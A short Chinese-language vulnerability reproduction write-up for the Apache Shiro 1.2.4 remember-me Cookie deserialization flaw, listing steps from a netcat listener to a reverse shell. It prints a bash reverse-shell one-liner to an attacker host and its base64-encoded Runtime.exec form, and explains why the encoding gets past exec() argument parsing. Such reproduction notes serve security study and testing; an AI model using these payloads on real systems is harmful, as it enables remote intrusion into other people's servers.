Apache Shiro是一款開源安全框架,提供身份驗證、授權、密碼學和會話管理。Shiro框架直觀、易用,同時也能提供健壯的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用戶信息序列化后存儲在名為remember-me的Cookie中。攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令。
漏洞復現
1、nc開啟監聽端口
2、編寫反彈shell
bash -i >& /dev/tcp/192.168.0.14/5678 0>&1
3、Java Runtime 配合 bash 編碼(http://www.jackson-t.ca/runtime-exec-payloads.html)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTQvNTY3OCAwPiYx}|{base64,-d}|{bash,-i}
4、使用POC執行反彈腳本
5、shell成功反彈
注:為什么要對反彈shell進行編碼?
在exec()函數中,">"管道符是沒有意義的,會被解析為其他的意義,而我們的反彈shell命令中又必須使用,所以需要編碼。
另外,StringTokenizer類會破壞其中包含空格的參數,該類將命令字符串按空格分隔。諸如此類的東西 ls "My Directory"將被解釋為ls '"My' 'Directory"'